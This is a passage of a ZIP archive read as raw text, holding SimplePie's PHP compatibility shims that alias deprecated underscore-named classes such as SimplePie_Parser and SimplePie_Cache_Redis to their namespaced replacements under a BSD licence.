 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Registry;

class_exists('SimplePie\Registry');

// @trigger_error(sprintf('Using the "SimplePie_Registry" class is deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead */
    class SimplePie_Registry extends Registry
    {
    }
}
PK�bd[!Up�]	]	SimplePie/Rating.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Rating;

class_exists('SimplePie\Rating');

// @trigger_error(sprintf('Using the "SimplePie_Rating" class is deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead */
    class SimplePie_Rating extends Rating
    {
    }
}
PK�bd[����{	{	SimplePie/HTTP/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\HTTP\Parser;

class_exists('SimplePie\HTTP\Parser');

// @trigger_error(sprintf('Using the "SimplePie_HTTP_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\HTTP\Parser" instead */
    class SimplePie_HTTP_Parser extends Parser
    {
    }
}
PK�bd[���a]	]	SimplePie/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parser;

class_exists('SimplePie\Parser');

// @trigger_error(sprintf('Using the "SimplePie_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead */
    class SimplePie_Parser extends Parser
    {
    }
}
PK�bd[��Ӑk	k	SimplePie/gzdecode.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Gzdecode;

class_exists('SimplePie\Gzdecode');

// @trigger_error(sprintf('Using the "SimplePie_gzdecode" class is deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Gzdecode" instead */
    class SimplePie_gzdecode extends Gzdecode
    {
    }
}
PK�bd[o��s	s	SimplePie/Parse/Date.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Parse\Date;

class_exists('SimplePie\Parse\Date');

// @trigger_error(sprintf('Using the "SimplePie_Parse_Date" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Parse\Date" instead */
    class SimplePie_Parse_Date extends Date
    {
    }
}
PK�bd[��l�	�	$SimplePie/XML/Declaration/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\XML\Declaration\Parser;

class_exists('SimplePie\XML\Declaration\Parser');

// @trigger_error(sprintf('Using the "SimplePie_XML_Declaration_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\XML\Declaration\Parser" instead */
    class SimplePie_XML_Declaration_Parser extends Parser
    {
    }
}
PK�bd[L��]	]	SimplePie/Source.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Source;

class_exists('SimplePie\Source');

// @trigger_error(sprintf('Using the "SimplePie_Source" class is deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Source" instead */
    class SimplePie_Source extends Source
    {
    }
}
PK�bd[4[�k	k	SimplePie/Sanitize.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Sanitize;

class_exists('SimplePie\Sanitize');

// @trigger_error(sprintf('Using the "SimplePie_Sanitize" class is deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Sanitize" instead */
    class SimplePie_Sanitize extends Sanitize
    {
    }
}
PK�bd[���z	z	SimplePie/Cache/MySQL.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\MySQL;

class_exists('SimplePie\Cache\MySQL');

// @trigger_error(sprintf('Using the "SimplePie_Cache_MySQL" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead */
    class SimplePie_Cache_MySQL extends MySQL
    {
    }
}
PK�bd[���vvSimplePie/Cache/Redis.phpnu�[���<?php

/**
 * SimplePie Redis Cache Extension
 *
 * @package SimplePie
 * @author Jan Kozak <galvani78@gmail.com>
 * @link http://galvani.cz/
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version 0.2.9
 */

use SimplePie\Cache\Redis;

class_exists('SimplePie\Cache\Redis');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead */
    class SimplePie_Cache_Redis extends Redis
    {
    }
}
PK�bd[��`Cn	n	SimplePie/Cache/DB.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\DB;

class_exists('SimplePie\Cache\DB');

// @trigger_error(sprintf('Using the "SimplePie_Cache_DB" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead */
    abstract class SimplePie_Cache_DB extends DB
    {
    }
}
PK�bd[��h�	�	SimplePie/Cache/Memcached.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcached;

class_exists('SimplePie\Cache\Memcached');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcached" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead.'), \E_USER_DEPRECATED);

if (\false) {
